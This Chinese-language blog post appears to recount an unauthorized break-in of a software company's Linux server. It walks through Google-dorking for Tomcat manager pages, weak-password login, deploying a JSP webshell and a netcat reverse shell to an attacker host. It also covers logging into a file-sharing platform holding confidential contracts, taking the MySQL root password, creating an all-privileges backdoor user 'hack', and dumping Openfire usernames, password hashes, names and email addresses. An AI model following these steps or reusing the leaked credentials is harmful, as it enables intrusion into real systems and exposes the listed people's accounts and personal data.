要有切入点,那就是Tomcat/manager/html的管理员页面弱口令。
顺便科普一下,大家可以利用google hack来寻找tomcat页面
在浏览器中输入:intitle:Apache.Tomcat "Congratulations!"  
大概意思是:用点号来分割title关键词,用冒号来匹配页面内容

渗透Linux服务器过程中,临时社工进行openfire解密


当然如果/manager/html页面被删,或者管理员没有配置账号密码为可用,管理界面就不能访问。
上传Deploy一个JSP大马:

渗透Linux服务器过程中,临时社工进行openfire解密


Linux提权必备过程--利用webshell执行命令反弹:
netcat源文件进行编译:

gcc xiaobo.c -o xiaobo

本地进行监听:

nc -vv -lp 12345

复制代码

在JSP大马中进行反弹:

./xiaobo  xx.xx.xx.xx 12345

复制代码

注意:有时候会无法执行反弹,是因为文件没设置为可执行.那么就直接设置为全权限吧:

chmod 777 xiaobo

复制代码

渗透Linux服务器过程中,临时社工进行openfire解密



我们先收集一下系统的信息:

lsb_release -a

渗透Linux服务器过程中,临时社工进行openfire解密



也就是说,我们要去找Ubuntu 12.04或者内核为3.2.0-38的exploit.
一般都是去exploit-db.com这个网站上找。
可惜很不幸的是,找了几个exploit都不行。
当然我们也可以找驱动或者第三方服务进行提权,反正我是没成功过.
继续收集服务器信息。用superscan扫描开放端口:

渗透Linux服务器过程中,临时社工进行openfire解密



用metasploit尝试了一下FTP和SSH的exploit和弱口令。无果
用浏览器尝试了那几个高段位的端口,发现也有个tomcat(无弱口令),以及一个sea-file团队协作管理平台。
google sea-file之后,发现是国人开发的一款开源的"分布式文件同步技术"的网盘。

仔细研究了一下该工具的安装配置,使用sqlite的嵌入数据库。上微博询问了开发团队该工具保存用户账号密码的文件位置:ccnet/peerMgr/usermgr.db。结果是文件夹ccnet无权限访问,但我还是找到一个存放账户名的seahub.db,打开看了一下:



渗透Linux服务器过程中,临时社工进行openfire解密



用上面的账号+弱口令+社工成功登陆:

渗透Linux服务器过程中,临时社工进行openfire解密



可以看到公司内部正在开发,或者已经完成的合同,项目计划,设计书等。可以知道这个服务器是某软件公司的。这些东西应该都是机密- -:

渗透Linux服务器过程中,临时社工进行openfire解密



先找找有没有漏洞上传什么的,看了一下开发语言: C/C++Python,吓尿了 - -。服务器也是自带的什么不认识的。所以放弃。权当收集信息用。
可以看到公司的成员列表和管理员:

渗透Linux服务器过程中,临时社工进行openfire解密



继续社工:
找tomcat下的工程,寻找保存的mysql密码。成功利用root密码,webshell登录mysql,(当然这里有个插曲就是我用的webshell无法连接mysql,或者不支持show databases,show tables等这些操作,所以自己重新改了源码)

  

数据库连接失败

  

  

com.mysql.jdbc.exceptions.jdbc4.MySQLNonTransientConnectionException:  Cannot load connection class because of underlying exception:  'java.lang.NumberFormatException: For input string:  "3306;User=root;Password=testxx;DatabaseName=mysql"'.

  


为了方便查看数据,就直接开启外链。这里再顺便科普一下:
为了保护服务器,我就不使用root外链。免得被不明黑阔批量扫描弱口令爆菊.

创建一个允许远程连接的用户hack,密码hack,赋予所有权限

CREATE USER hack IDENTIFIED BY 'hack';

grant all privileges on *.* to hack @"%" identified by "hack";

 

复制代码

之后就用mysql workbench连接(开发人员专用哟~嘿嘿)
插曲:据说linux下的mysql可以利用system命令提权。我windows 命令行下远程连接mysql,尝试system user add命令失败。去mysql官方,查看官方文档,确实有system函数.BT5命令行下远程连接mysql,system user add成功,囧的是用户居然添加在我BT5上面。同学们都该知道mysql system函数的意思了吧?

回归正题:我现在要收集mysql数据库存的所有用户账号和密码,进一步来社工linux root密码进行远程ftp或者ssh操作。
解密了一些md5,基本都是弱口令。
亮点来了:openfire数据库。
看着名字我就觉得有点来头,谷歌之后得到:Openfire 是实时的基于WEB的即时消息传输平台,是原来的Jive Messenger

admin de8d41e122591e3ac5dfabf41bb8ee186cb0ec963347ae71 Administrator admin@family10.com

caifei 0db546455b7e6a8bd1905e34028ca31704ae5cf27a65e1c2 蔡飞 caifei@qq.com

chensong e54b7b46c4862dd1ea159a174eb1e26d6b6c1fac89a5dc73 陈松 chensong@qq.com

liqiang 4f21a0de9b6a32aadd0a6bd0cf53a82da6504bc85111556e 李强 liqiang4264@qq.com

liqing 0d24c065be1fdd4db3dde16d39b8907f8248a8a4a7f84c75 李青 liqing@qq.com

liuhuayi 5809dadd4631e859d995d93ff0587524f75c541ab55f23c6 刘华宜 liuhuayi@qq.com

qiulibo 8c14fda295def40ba10bcd9b78ee869ce5a9880eaa8c6eb6 邱李波 qiubibo@qq.com

xuliang ba8dc396077d18e3a5683455a92d808adb06d8ac74f31fa3 徐亮 xuliang@qq.com